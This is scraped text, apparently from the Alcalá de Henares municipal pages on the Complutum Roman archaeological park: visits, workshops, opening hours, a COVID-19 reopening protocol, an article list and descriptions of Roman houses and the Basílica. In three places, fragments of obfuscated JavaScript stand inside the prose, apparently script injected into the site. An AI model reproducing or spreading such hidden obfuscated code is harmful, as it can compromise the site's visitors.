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  • Actividades del yacimiento arqueológico
    Panorámica del Parque Arqueológico de Complutum
    Imagen general del Yacimiento de Complutum con la Casa de los Grifos al fondo

    ¿Qué puedes hacer en Complutum?

    Complutum es más que un yacimiento, es una forma de entender aquella sociedad que sentó las bases de lo que hoy es Alcalá de Henares y de aproximarse, casi tocar, a un modo de vida que alcanza los 20 siglos de historia y que nos sigue fascinando. Con este fin, el yacimiento de Complutum lleva a cabo un completo programa de actividades para el que incluye desde visitas guiadas, visitas teatralizadas, exposiciones y talleres para toda la familia.

    Formas de contacto

    Información y reserva de actividades 2023

    Teléfono: 91 889 26 94 /91 881 06 34

    email: otcervantes@ayto-alcaladehenares.com/ otssnn@ayto-alcaladehenares.es

    Entrada al recinto y actividades gratuitas hasta completar aforo

    Acceso libre al yacimiento Visitas guiadas Visitas teatralizadas Talleres temáticos Exposiciones temporales Eventos culturales

    Acceso libre al yacimiento

    El Parque arqueológico de Complutum cuenta con dos recintos visitables:

    Foro-Regio II y Casa de los Grifos

    • El Foro – Regio II comprende los restos arqueológicos de parte de la ciudad de Complutum entre los que se encuentran importantes edificios públicos, como la Basílica, las Termas, el Auguraculum y varias viviendas (domus) privadas, como la Casa de los Grifos.

    • La Casa de los Grifos es una casa urbana señorial, construida en época del emperador Augusto, fue arrasada por un incendio a comienzos del siglo III, desgracia que ha permitido a los arqueólogos descubrir la vivienda en un magnífico estado de conservación. Sobresale su conjunto de pinturas murales, quizá el más completo que se ha podido recuperar hasta la fecha en España.

    Casa de Hippolytus

    Visita la excepcional Casa de Hippolytus y su fantástico mosaico dedicado a la pesca y la fauna del Mediterráneo.

    La Casa de Hippolytus, primer yacimiento visitable de la Comunidad de Madrid, era en realidad un lujoso y refinado espacio propiedad de la ilustre familia de los Anios.

    Sus termas, sus espacios para reunión y sus jardines (los mejor conocidos de España, con plantas y animales exóticos) servían probablemente para la formación, la acogida de grupos y el esparcimiento. Destaca en el conjunto el magnífico mosaico de tema marino obra del mosaicista Hippolytus, que ha dado nombre al edificio.

    Horarios Dónde estamos

    Visitas guiadas

    Ciudad Romana de Complutum

    Visita guiada al Foro y Regio II y destinada al gran público.

    Lugar: Recinto Foro-Regio II.
    Punto de partida: Caseta de recepción de Complutum. Por estricto orden de llegada.
    Aforo máximo: 15 personas.
    Hora de Comienzo: A partir de las 10:00 horas.

    Horario especial Complutum Renacida (29,30 de abril y 1,2 de mayo de 2023)

    • Pase 1:  a las 10:00 h
    •  Pase 2:  a las 10:30 h

    • Reserva: No necesaria.

    icono de un calendarioCuándo: Todos los sábados (mañanas) a partir del 1 de Abril  hasta el 25 de noviembre de 2023 (Exceptuando el mes de julio).

    Visita a la Casa 

    de los Grifos

    Visita guiada al La casa de los Grifos y destinada al gran público.

    • Lugar: Recinto Foro-Regio II.
    • Punto de partida: Caseta de recepción de Complutum. Por estricto orden de llegada.
    • Aforo máximo: 15 personas.
    • Hora de Comienzo: A partir de las 12:00 horas.

    • Horario especial Complutum Renacida (29,30 de abril y 1,2 de mayo de 2023): 

    • Pase:  a las 12:00 h

    • Reserva: Imprescindible.

    icono de un calendarioCuándo: Todos los sábados (mañanas) a partir del 1 de Abril  hasta el 25 de noviembre de 2023 (Exceptuando el mes de julio).

    Visitas guiadas

     

    Visita técnica a la Casa de los Grifos

    Visita técnica a La casa de los Grifos  y guiada por personal especializado.

    • Lugar: Recinto Foro-Regio II. • Punto de partida: Casa de l. • Aforo máximo: 15 personas. • Hora de Comienzo:
    • 30 de abril:  a las 12:00 h.
    • 21 de mayo:  a las 13:00 h.
    • Reserva: Imprescindible.

    icono de un calendario

    Cuándo: Días: 30 de abril  y el 21 de mayo de 2023.

    Visitas Teatralizadas


    Lucio Cornelio Quieto, agente inmobiliario

    Visita teatralizada al yacimiento en general y destinada al público familiar.

    Lugar: Recinto Complutum, Foro-Regio II.
    Aforo máximo: 35 personas.
    Duración aproximada: 50 minutos.
    Hora de comienzo: 12:00 horas.
    Horario especial Complutum Renacida (29,30 de abril y 1,2 de mayo de 2023)

    • Pase 1:  a las 11:00 h
    •  Pase 2:  a las 12:00 h

    Reserva: Imprescindible.

    icono de un calendarioCuándo: Todos los sábados entre el 15 de abril y el 2 de diciembre de 2023. (Exceptuando los meses de julio, agosto y primera quincena de septiembre).

    Talleres

     

    Arqueólogos por un día

     

    Taller dirigido a público familiar donde en una jornada lúdica se introduce a los participantes en la metodología arqueológica. Actividad organizada en colaboración con la Dirección General de Patrimonio Cultural de la Comunidad de Madrid. 

    • Lugar: Recinto Foro-Regio II en Complutum.
    • Duración aproximada: 180 minutos.
    • Hora de comienzo: Por determinar.
    • Aforo: Grupos limitados.
    • Reserva: Imprescindible.

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    Cuándo: Fechas por determinar.

    Escribas y grafiteros romanos

     

    Escribas y grafiteros romanos

    Taller destinado al acercamiento a los sistemas de escritura romana en tablillas de cera o en gran formato sobre pared.

    Lugar: Aulas del Foro-Regio II.
    Duración aproximada: 90 minutos.
    Hora: de 11:15 h a 12:45 h. 
    Aforo  máximo: 10 niños + 10 adultos. Por cuestión de aforo, sólo podrá acceder al taller un adulto por menor.
    Edad: De 6 a 14 años.
    Reserva: Imprescindible.

    icono de un calendario

    Cuándo:  Días 16 de abril , 21 de mayo, 11 y 25 de junio de 2023.

    Taller Constructores romanos

    Los constructores romanos

    Introducción a uno de los aspectos más característicos de la cultura clásica, su arquitectura, por medio de la construcción a escala de partes de edificios.

    • Lugar: Aulas del Foro-Regio II
    Duración aproximada: 90 minutos.
    • Horas:

    • Turno 1:  de 10:30 h a 12:00 h
    • Turno 2:  de 12:30 h a 14:00h

    Aforo  máximo: 10 niños + 10 adultos. Por cuestión de aforo, sólo podrá acceder al taller un adulto por menor.
    • Edad: De 6 a 14 años.

    • Reserva: Imprescindible.

    icono de un calendarioCuándo: Días 30 de abril y 1 de mayo de 2023

    El teatro y los romanos

    El teatro y los romanos

    Introducción a una de las amenidades más apreciadas por los romanos, el teatro, mediante la realización de máscaras teatrales y breves representaciones.

    Lugares: Aulas del Foro-Regio II.
    Duración aproximada: 90 minutos.
    Hora de Comienzo: de 11:15 h a 12:45 h.
    Aforo  máximo: 10 niños + 10 adultos. Por cuestión de aforo, sólo podrá acceder al taller un adulto por menor.
    • Edad: De 6 a 14 años.

    Reserva: Imprescindible.

    icono de un calendarioCuándo: Días 10 y 24 de septiembre y 8 y 22 de octubre de 2023.

     

    Día a día de un romano

    Acercamiento a la vida diaria de los romanos (indumentaria,alimentación,adorno personal, creencias,ocio) a través de su cultura,por medio de más de cien replicas de objetos arqueológicos.
    • Lugar: Aulas del Foro-Regio II.
    Duración aproximada: 90 minutos.
    • Horas:

    • En noviembre:
      • de 11:15 h a 12:45 h
    • En diciembre:
      • Turno 1:  de 10:30 h a 12:00 h
      • Turno 2:  de 12:30 h a 14:00h

    Aforo  máximo: 10 niños + 10 adultos. Por cuestión de aforo, sólo podrá acceder al taller un adulto por menor.
    • Edad: De 6 a 14 años.
    • Reserva: Imprescindible.
    icono de un calendarioCuándo: Días 12 y 26 de Noviembre y 3 de diciembre de 2023.

    Romano y Romana por un día

    Podrás sentirte como un romano y romana complutense de hace 2000 años y conocer cómo se vestían,peinaban,perfumaban y con qué joyas se engalanaban,en qué ollas cocinaban y en qué vajilla y con qué “tenedores y cucharas” comían a qué dioses rezaban o cómo escribían con los “bolis” del siglo I d.C.

    Lugares: Casa de Hippolytus
    Duración aproximada: 30 minutos.
    Horario: Actividad ininterrumpida durante la mañana.

                      Dos pases:10:30-11:00/11:30-12:00
    Edad: De 6 a 14 años.
    Reserva: Imprescindible.

    icono de un calendarioCuándo: Fechas por determinar.

    Exposiciones temporales

    Gentes en una ciudad romana

    Mediante paneles distribuidos por el recinto, se realiza un recorrido por la sociedad romana, sus grupos y tipos sociales, con especial atención al caso complutense.

    • Lugar: Recinto Foro-Regio II en Complutum.

    • Reserva: No es necesaria.

    icono de un calendarioCuándo: Todos los días en horario de apertura del Yacimiento Arqueológico.

    Eventos turísticos y culturales

    Más información

    COMPLUTUM RENACIDA

    Vuelve el evento turístico y cultural de alto interés en Alcalá de Henares. Centrado en una de las infraestructuras culturales más importantes de la ciudad, la Antigüedad clásica, con importantes lugares visitables: el parque arqueológico de Complutum, la casa de Hippolytus y el Museo Arqueológico Regional.

    Horario General

    icono de un calendario

    • Foro-Regio II y Casa de los Grifos
    Horario invierno (de octubre a abril):
    Lunes cerrado excepto aquellos que sean festivos.
    De martes a domingo y festivos:
    de 10:00 a 14:00 y de 16:00 a 18:00 h.

    Horario verano (de mayo a septiembre):
    Lunes cerrado excepto aquellos que sean festivos.
    De martes a domingo y festivos:
    de 10:00 a 14:00 y de 17:00 a 20:00 h.

    • Casa de Hippolytus
    Horario invierno (de octubre a abril):
    Lunes cerrado excepto aquellos que sean festivos.
    De martes a domingo y festivos: de 10:00 a 14:00 y de 16:00 a 19:00 h.

    Horario verano (de mayo a septiembre):
    Lunes cerrado excepto aquellos que sean festivos.
    De martes a domingo y festivos: de 10:00 a 14:00 y de 17:00 a 20:00 h.

    Cómo llegar

    Cómo llegar a Complutum

    • Foro-Regio II y Casa de los Grifos
    Camino del Juncal, 12 (esquina calle Jiménez de Quesada). Alcalá de Henares (Madrid).
    Coordenadas GPS: 40°28’28.6″N 3°23’05.8″W | 40.474613, -3.384948

    • Casa de Hippolytus
     Av. de Madrid, s/n. (Junto a la Ciudad deportiva El Juncal). Alcalá de Henares (Madrid).
    Coordenadas GPS: 40°28’35.9″N 3°23’26.3″W | 40.476645, -3.390645

    Desde Madrid
    – Tren de Cercanías C2 y C7 hasta La Garena.
    – Línea 223 interurbana de autobuses Madrid (Avenida de América) – Alcalá de Henares.

    Si estás en Alcalá de Henares
    – Autobuses urbanos: Líneas 1A, 1B y Línea 6 (solamente hasta Foro-Regio II).

    Visitas guiadas técnicas

    Visitas guiadas técnicas

    Visitas guiadas técnicas

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    • Calendario de eventos

      Calendario de eventos y actividades, mes a mes

      En este apartado encontrarás todos los eventos y actividades que Complutum tiene preparadas para que te acerques al mundo romano, en general, y al del yacimiento alcalaíno, en particular. Haz clic en el evento que te interese para acceder a más información sobre lugar, hora y contenido de la actividad. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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    • Protocolo para reabrir los Centros Arqueológicos

      Protocolo básico para la reapertura de los centros arqueológicos municipales en Alcalá de Henares

      El Servicio Municipal de Arqueología ha redactado este protocolo para reabrir los centros arqueológicos ante la COVID-19. En este caso, nos referimos a la reapertura al público del conjunto de Centros Arqueológicos de Alcalá de Henares (Ciudad Romana de Complutum, Casa de Hippolytus, Murallas del Palacio Arzobispal), entendidas como infraestructuras culturales, patrimoniales, educativas y turísticas de la ciudad. Siguiendo el criterio expresado por ICOMOS en el comunicado de su presidente Toshiyuki Kono, “el patrimonio no solo es un impulsor del desarrollo sostenible, sino también una piedra angular de la recuperación humana y social después de los desastres”. Este principio universal y que comparten casi todas las naciones y organismos internacionales, debe ser armonizado con las medidas adecuadas para garantizar la salud pública, y en nuestro caso generar protocolos lo más claros y concretos posibles para que el patrimonio arqueológico de Alcalá, y que es de titularidad municipal, pueda estar a disposición del público que desee disfrutarlo.

       

      Referencias

      Se han adaptado en nuestro documento una serie de experiencias y recomendaciones efectuadas por organismos nacionales e internacionales con el objetivo de crear un efectivo protocolo para reabrir los centros arqueológicos ante la COVID-19. Todas ellas atentas a la normativa legal generada por el Gobierno de España a raíz de la crisis del COVID-19, así como a las del gobierno regional y Alcaldía-Presidencia. Las áreas arqueológicas tienen un carácter específico, compartiendo en parte, pero con diferencias relevantes, las características de museos, pero también de jardines históricos y otras áreas patrimoniales. Considerando la normativa generada a nivel nacional, las áreas arqueológicas son más semejantes a la categoría definida como Monumento, aunque también se considera la particular actividad de los yacimientos arqueológicos con motivo del COVID-19 en el documento generado por el Instituto del Patrimonio Cultural de España de mayo de 2020. Las experiencias de los museos, tal vez las que han generado mayor literatura, se han tenido en cuenta, pero solo como referencia aproximativa, dada la diferente naturaleza del museo como espacio físico respecto a las áreas arqueológicas. Si se ha considerado muy especialmente el documento Planificación de medidas para la reapertura de los museos de titularidad y gestión estatal dependientes de la Dirección General de Bellas Artes. Así como las Pautas para la gestión, conservación y disfrute público del patrimonio cultural en la desescalada de la crisis sanitaria (COVID-19). Además de estos importantes documentos, la mayor parte de las experiencias que hemos utilizado como orientación son de tipos variados, por ejemplo grandes espacios patrimoniales del Estado español, o de otros países: Jardines de Aranjuez, Villa Adriana y Villa d’Este en Tivoli, Italia, Jardines del Palacio Real de Varsovia en Polonia, entre otros. Se ha prestado especial atención a los documentos recopilados por ICOMOS España.  Igualmente, a la Guía para el plan de desescalada en museos y bienes culturales. Covid-19, de la Comunidad Valenciana. Aunque los centros arqueológicos han generado poca literatura, especialmente en España, se ha considerado la experiencia o en su caso contactado directamente con varios centros arqueológicos españoles de referencia (Museo del Teatro Romano de Cartagena, Consorcio de Mérida, entre otros), y se han atendido las directrices de relevantes sitios arqueológicos, caso de Pompeya. Se siguen atentamente las directrices indicadas por el Gobierno de España, Plan para la transición hacia una nueva normalidad: guía de la fase 2, modificada el 23 de mayo de 2020.

       

      Fechas de reapertura

      La Resolución de Alcaldía-Presidencia nº 1017, de 25 de mayo, cap. cuarto, habilita a las concejalías delegadas para la reapertura de “museos de titularidad y gestión directa municipal”, siempre respetando las medidas impuestas por la Orden SND/399/2020 de 9 de mayo. Por otro lado, dada la particularidad de los espacios arqueológicos, que en determinados ámbitos se consideran como museos, pero su realidad física se corresponde más con la figura de Monumento, entendemos que debe considerarse, a partir del documento del Gobierno de España, Plan para la  transición hacia una nueva normalidad: guía de la fase 2, de 17 de mayo de 2020, p. 16 y ss., que se autoriza su apertura a partir de la fase 2 de desescalada,  siempre condicionado a que existan las suficientes garantías sanitarias y se establezcan las restricciones necesarias en favor de la salud pública. Por tanto, se estima la reapertura de los centros arqueológicos a partir de 16 de junio. Al menos para los centros Ciudad Romana de Complutum y Casa de Hippolytus, pues el centro Murallas y Antiquarium reviste por sus propias características algunos problemas de carácter sanitario, que recomiendan abrir cuando las condiciones promulgadas de carácter sanitario se relajen, sea en Fase 3, sea en la “nueva normalidad”. En cualquier caso, es una reapertura dirigida en este primer momento a la visita, no a las actividades culturales y educativas, y condicionada a las obligaciones impuestas por el Plan de Desescalada. Incluso hasta la fase 3, y siguiendo el documento Plan para la transición hacia una nueva normalidad, de 28 de abril de 2020, se prevé la apertura de museos y espectáculos culturales, todavía con asistencia limitada en dicha fase 3. Lo que implica condicionantes para la visita que se indican a continuación en este documento. La apertura de talleres familiares, visitas guiadas, y otras actividades didácticas y culturales, sólo se habilitará a partir de que las autoridades competentes lo faciliten, previsiblemente en fase 3 de la desescalada o en la así llamada “nueva normalidad”. Pero no es previsible antes de la segunda semana de junio.

       

      Requisitos de la visita y de las instalaciones para reabrir los centros arqueológicos ante la COVID-19

      – En los mostradores de información y atención al público existirán elementos y barreras físicas de protección. Concretamente mamparas en zonas de mostradores. – Existirán dispensadores de solución hidroalcohólica, para su uso por los visitantes, en las zonas de acceso y en los puntos de contacto con el público (taquillas, información…), en los dos centros arqueológicos. – Se colocarán papeleras con tapa, accionadas mediante pedal y con bolsa de plástico para su retirada a contenedor, a fin de depositar el material de protección desechable. La retirada de los residuos y la desinfección de las papeleras se realizará de manera frecuente por la empresa de limpieza. – Se procederá a la instalación de carteles con normas y recomendaciones específicas para el público. Así como de vinilos de señalización con indicaciones sobre la distancia de seguridad, para evitar que se formen colas o aglomeraciones, en entradas/salidas, o en otros puntos de posible aglomeración de público. – La Dirección de los centros se reservará la potestad de excluir de la visita pública los lugares donde no pueda garantizarse la seguridad de los visitantes. – Estará inhabilitado el uso de los elementos expuestos diseñados para un uso táctil por el visitante, así como folletos en papel, u otro material análogo. – Hasta nuevas instrucciones, que previsiblemente no serán anteriores a la fase 3 o a la “nueva normalidad”, la visita será individual (entendida no como una única persona sino como una familia o una unidad de convivencia). No estará permitida la reserva de grupos hasta que se superen todas las fases de la desescalada y se alcance la nueva normalidad. – Es obligatorio el uso de mascarillas. – Se observará el criterio básico de los 2 metros de distancia interpersonal (entendido como distancia entre unidades familiares o de análoga convivencia). – Se evitará en todo momento, y salvo razones de fuerza mayor, tocar barandillas o superficies de cualquier tipo. Como siempre, está prohibido tocar los restos arqueológicos, muros, pinturas murales, mosaicos, etc. En cualquier caso y como en cualquier otra situación, los bienes culturales no se tocan, o se hace sólo por parte de personal cualificado y autorizado. – El aforo de los museos/centros arqueológicos estará limitado a un tercio en cada espacio concreto. Este límite será objeto de control en tres tipos de registros: en taquillas de acceso, en la reserva telefónica o vía e-mail, y en el acceso a determinados puntos calientes del yacimiento (concretamente, acceso a casa de los Grifos y acceso a casa de Hippolytus). – En cada centro arqueológico, el personal de vigilancia, de acceso o de mantenimiento, debidamente identificado, contará con indicaciones sobre el número máximo de visitantes que puede concentrarse, para impedir las aglomeraciones. En todo caso, la ocupación deberá cumplir con el requisito de distancia interpersonal (2 metros aproximadamente) – Dado el control de aforos, se recomienda la visita con cita previa, en la Oficina de Turismo de Alcalá de Henares: 918810634. Esto no es obligatorio, pero sí recomendable. En todo caso, el personal de los dos centros arqueológicos podrá escalonar la visita de las personas que lleguen a los centros sin cita previa, a fin de respetar los aforos establecidos. – Hasta la fase 3 o la nueva normalidad, no se desarrollarán aquellos eventos que impliquen concurrencia en un mismo espacio (actividades educativas, conferencias, talleres familiares, visitas guiadas y, en general, programas públicos). Y, una vez reanudados, en ellos se limitará la asistencia a un máximo de un tercio del aforo, debiendo en todo caso mantener la distancia interpersonal de 2 metros aproximados. Y se informará del límite de participantes en la convocatoria de la actividad. Se estudiarán la viabilidad y el desarrollo concreto de cada una de las actividades que están programadas para cada centro. – Estos formatos de actividad que implican agrupamiento de los asistentes, en su pleno rendimiento, sólo se podrán recuperar cuando las autoridades sanitarias autoricen la reducción del distanciamiento social recomendado. Mientras tanto, se buscarán formatos alternativos que eviten la proximidad física entre los participantes. – Cuando el formato de la actividad lo permita, se habilitarán canales de participación no presencial (retransmisión en streaming, difusión posterior online…). Se reforzará el diseño de recursos educativos, científicos y divulgativos de carácter digital, que permitan a los centros arqueológicos cumplir su función como institución educativa y transmisora de conocimiento, por medios alternativos a los presenciales.

       

      Requisitos de conservación

      Los centros arqueológicos de Alcalá disponen ya, con independencia de la pandemia, de sus protocolos de conservación, atendidos por equipos profesionales cualificados. Además de los procedimientos habituales se atenderá a la literatura relativa a conservación de bienes patrimoniales ante el COVID-19 generada en las últimas semanas, especialmente por el Instituto del Patrimonio Cultural de España, pero también otros, como los gobiernos de Aragón y Valencia. La desinfección masiva para este tipo de centros se considera inadecuada en toda la literatura específica generada. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Antiquarium
  • Artículos

    Artículos sobre Complutum

    Aquí puedes consultar y descargar los principales artículos y trabajos de investigación, que se han ido realizando a lo largo de estos años a cerca del yacimiento arqueológico de la ciudad de Complutum. Están ordenados por AUTORES en índice alfabético.
    • A-Z
    ARTÍCULO
    Los orígenes de Complutum: el descubrimiento de la planta de la ciudad romana de San Juan del Viso.
    Azcárraga CámaRA, Sandra. 2013
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    ARTÍCULO
    El paisaje funerario bajoimperial en el centro de Hispania: rito, sociedad y poblamiento
    Contreras Martinez,Miguel. 2017
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    ARTÍCULO
    Tesis: Roman mortars used in the archaelogical sites in Spain and Turkey: A comparative study and the design of repair mortars.
    DUYGU ERGENÇ. 2017
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    ARTÍCULO
    Nueva propuesta interpretativa de la Casa de Hippolytus de Complutum. Un Complejo Termal Suburbano
    García Entero, Virginia. 2004
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    ARTÍCULO
    Un olvidado ‘fideicommissum’ de Complutum
    GÓMEZ-PANTOJA, Joaquín. 2001
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    ARTÍCULO
    Complutum ‘nummi’: introducción al estudio de la colección de la ciudad romana
    Miguel López, Jaime. 2014
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    Ver function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Aviso legal

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    Lea atentamente el siguiente aviso legal relativo a los sitios web del AYUNTAMIENTO DE ALCALÁ DE HENARES.

    CONDICIONES GENERALES DE USO DEL SITIO WEB

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  • Basílica

    Basílica Civil

    La Basílica se construyó hacia los años 50/60 del siglo I d.C., en época del emperador Claudio, pero después es rehabilitada en el último cuarto del siglo III d.C. Era un edificio rectangular con dos ANTAE (entradas) que enmarcan un pórtico en la fachada del lado Norte, y también probablemente en el Sur, aunque esto es difícil de comprobar por la construcción de un edificio adosado en el siglo III, las Termas Sur. Tenía una nave central rodeada por un pasillo flanqueado por columnas (AMBULACRUM): seis columnas en el lado largo y cuatro en el corto. Recreación virtual de la fachada monumental de Complutum Axonometría sobre la hipótesis de la estructura de la Basílica Respecto a su funcionalidad, en la Basílica se desarrollaban todo tipo de acuerdos comerciales, pero fundamentalmente, era el tribunal de justicia y el lugar donde se aplicaba la ley. Reconstrucción en 3D basada en la Hipótesis del Interior de la Basílica donde el tribunal impartía justicia.

    BASÍLICA SIGLO I

    Contaba con tres accesos desde la plaza del Foro y otro más desde una de las calles principales. Estaba construido en opus caementicium (mortero similar al actual hormigón) sobre un zócalo de sillares de piedra y pavimentado con opus signinum (mortero de cal, arena, piedra y ladrillos triturados y pulido). Las paredes estaban revocadas en blanco y tendrían un zócalo de mármol. Esquema de la hipótesis de la estructura de la Basílica siglo III

    BASÍLICA SIGLO III

    En el siglo III d.C. se produce una gran reforma del espacio forense de Complutum. La parte principal de esta obra tiene lugar en la manzana que albergaba a la Basílica y las Termas Norte, que es reformada por completo, si bien otros espacios colindantes, como el Mercado, también se van a remodelar en función del nuevo uso del espacio basilical. Acciones identificadas arqueológicamente:
    1. Levantamiento del nivel del suelo en 50 cm, haciéndolo coincidir con la cota de suelo del vecino edificio.
    2. Elaboración un nuevo solado de opus signi-num.
    3. Confección de una cartela en opus sectile que preside el paso desde la Basílica al cuerpo occidental del edificio.
    4. Erección de esculturas conmemorativas o relacionadas con el uso del edificio.
    5. Apertura de una puerta para acceder al cuerpo occidental las antiguas Termas Norte.
    6. Decoración del interior mediante un placado de piedra, conformando algún tipo de opus sectile y en combinación con zonas revocadas.
    7. Clausura de la puerta Sur.
    8. Ofrenda al Norte del edificio.
    OTRAS ACCIONES IMPORTANTES RESTO DE FORO
    1. La construcción de las Termas Sur al Sur de la Basílica.
    2. Se reforma el Mercado, que de ser el característico macellum pasa a ser una plaza abierta , cerrada por una fachada que imita a la gran fachada monumental del Criptopórtico, aunque con peores calidades constructivas.
    3. Se reforma el Pórtico Sur.
    Esquema de la hipótesis de la estructura de la Basílica siglo III Hay dos hallazgos importantes, que evidencian la reforma del Foro (y concretamente de estos edificios administrativos-judiciales) a modo de una refundación, percibida de este modo en la política urbana: 1. La excavación en 1984 de la canalización que se conserva ante la Basílica proporcionó una ofrenda, perfectamente conservada y una fuente de cerámica común: Vaso de vidrio soplado CARCHESIUM encontrado frente a la puerta de la Basílica.

    2. La excavación del frente de la Fachada monumental se adorna con un CARMEN EPIGRAFICUM alusivo al renacimiento (o refundación) de estos simbólicos edificios.

    Fragmento de mármol con inscripción procedente del área administrativa del Foro.Fachada Monumental.Parque Arqueológico Ciudad de Complutum
    Inscripción conmemorativa vinculada a ‘La Eneida’ de Virgilio y en la que se expresa el deseo de que algo “perdure para siempre” (CTA PER AEVUMI) @media screen and (max-width: 1024px) {
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    VISITA GUIADA AL YACIMIENTO GRATUITA
     
    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
      Si estás interesado en tener más información, consulta nuestro ARCHIVO, donde tendrás toda la documentación actualmente publicada.
  • Casa de Hippolytus

    Un gran mosaico para la escuela

    La Casa de Hippolytus se encontraba situado a las afueras de la ciudad de Complutum, junto al cauce del río Camarmilla. Este suburbio en concreto estaba conectado con un paisaje sagrado lleno de elementos sepulcrales romanos. Entre ellos se encontraba un santuario o ninfeo vinculado a la diosa Diana, un mausoleo y varias zonas sepulcrales. Lo que el visitante puede ver en la actualidad es un edificio que albergaba un colegio de jóvenes. Éste estaba vinculado a una fundación familiar, la de los Anios, y data de finales del siglo III d. C.  Fue descubierto en 1989, conviertiéndose en el primer yacimiento arqueológico visitable de la región y uno de los más importantes del centro peninsular. El patio de la Casa de Hippolytus alberga, no sólo una de las joyas de este centro para jóvenes, sino de todo el yacimiento de Complutum. Se trata de un mosaico compuesto por una serie de motivos geométricos que enmarcan, asimismo, una escena de pesca de tradición iconográfica norteafricana. Cuenta también con una inscripción por la que sabemos que el autor de esta obra de arte fue el musivario Hippolytus, quien ha dado nombre a la casa. Según revela la inscripción, el mosaico fue hecho por encargo de los Anios, la familia benefactora del colegio para jóvenes. El mosaico, excepcional, traslada al espectador al Mediterráneo, reflejando la fisonomía de varias especies marinas seguramente con un fin didáctico, como si se tratara de un catálogo de la fauna mediterránea. El mosaico representa una escena de pesca en la que tres erotes navegan en una barca rodeados de fauna marina,  representada por especies como dorada, pulpo, calamar, pez espada, morena, langosta, gamba, sepia, delfín y erizo de mar. La hipótesis del fin didáctico se refuerza con el hecho de que, mientras que la factura de los erotes es algo tosca, los animales fueron realizados con cuidado y detalle.
    Mosaico de la Casa de Hippolytus.
    Mosaico de Los Peces en la Casa de Hippolytus

    El dato

    Los análisis de restos faunísticos hallados en la Casa de Hippolytus desvelaron la existencia de diferentes especies en la casa, alguna de ellas de lo más exóticas y que habían sido traídas desde fuera de la Península, posiblemente con una función didáctica. Así, entre ellas, hubo pelícanos, ya que se han encontrado restos de una falange que prueban la presencia de este ave en tierras complutenses. Siguiendo con las características de la excepcional casa, el edificio contaba con un importante espacio termal, con estancias de agua fría y agua caliente, decorado con mosaicos. Así mismo, contaba también con unas letrinas de planta rectangular cuidadosamente decoradas con pinturas y mosaicos. Finalmente hay que destacar el gran jardín que se extendería a lo largo de uno de los laterales del edificio.Éste contaba con una gran zona de paseo flanqueada por bancos corridos semicirculares (exedras). Este jardín es especialmente interesante por su carácter  culto y refinado, reflejo del gusto por la cultura oriental de sus dueños. Los estudios arqueobotánicos desvelaron la existencia de plantas decorativas y medicinales que habrían sido importadas de Próximo Oriente o del Norte de África (palmito, cedro, jazmín…).
    Recreación de La Casa de Hippolytus
    Maqueta de la casa de Hippolytus
    Maqueta de la Casa de Hippolytus
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  • Casa de la Lucerna
    Casa de la Lucerna de la Máscara Trágica
    Vista aérea de la casa de la Lucerna de la Máscara Teatral,mostrando sus principales espacios.
    Vista aérea de la Casa de la Lucerna de la Máscara Teatral,mostrando sus principales espacios en la fase 2.

    1.Pórticos de la calle. 2.Vestíbulo. 3.Atrio. 4.Vestíbulo y escalera. 5.Thermopolium.

    • Probables apartamentos
    • espacios comunes y de acceso a las viviendas o talleres
    • espacios comerciales o industriales

    Se trata de una vivienda privada de unos 450 m2 que ocupa la mitad sur de la manzana

    Inicialmente se construyó con un patio trasero pavimentado con opus testaceum en principio y después con opus signinum, y con un pozo.

    La vivienda cuenta con 17 estancias, distribuidas a cada lado de la entrada (vestibulum), situada en el centro.

     Varios de estos espacios han sido interpretados como tabernas o comercios (tabernae), estando por lo tanto desvinculados a la vivienda.

    Además, ésta  contaba con dos entradas: la principal en la fachada Sur y otra en la parte Oeste.

    Fue construida a mediados del siglo I d.C., reformada posteriormente y en uso hasta el siglo V.

    Su nombre proviene del hallazgo de una espectacular lucerna de bronce decorada con una máscara teatral cómica (identificada como el personaje de “el esclavo listo”), encontrada durante las labores arqueológicas.

    Lucerna de la Máscara Trágica de bronce encontrada en Complutum.
    Máscara encontrada
    Lucerna de la Máscara Trágica restaurada.
    Máscara tras su restauración
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    VISITA GUIADA AL YACIMIENTO GRATUITA

    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
       

    Si estás interesado en tener más información, consulta nuestro ARCHIVO, donde tendrás toda la documentación actualmente publicada.

  • Casa de los Grifos

    La Casa de los Grifos

    Restos arqueológicos y reconstrucción del triclinium de la Casa de los Grifos
    La Casa de los Grifos bajo la cubierta protectora

    Esta domus fue construida en época de Augusto (siglo I d.C.), sufrió varias reformas y terminó destruida a consecuencia de un incendio en la época severiana, a comienzos del siglo III d.C.

    El edificio no volvió a levantarse sino que fue derribado de manera ordenada tiempo después, lo que ha facilitado la recuperación de sus espectaculares pinturas, entre otros restos.

    Como vivienda señorial, cuenta unas amplias dimensiones,  unos 900 metros cuadrados (30 x 30 metros), a los que habría que sumar una taberna y dos pórticos de 2 metros de ancho en las fachadas Oeste y Sur.

    La vivienda es de una planta, aunque se ha documentado un segundo piso en la estancia localizada en la esquina noroeste a la que se accedería por una escalera.

    La Casa de los Grifos es una vivienda urbana señorial, catalogada como de estilo mediterráneo con peristilo, -es decir, que contaba con un patio porticado-, situada muy cerca del Foro de Complutum y que albergaba una importantísima colección de pintura mural de la que nos han llegado destacadas muestras.De hecho, está considerada como la mejor colección de pintura mural romana de la península.

    La casa se encuentra actualmente protegida bajo una cubierta, y continúa en proceso de excavación, investigación y restauración.

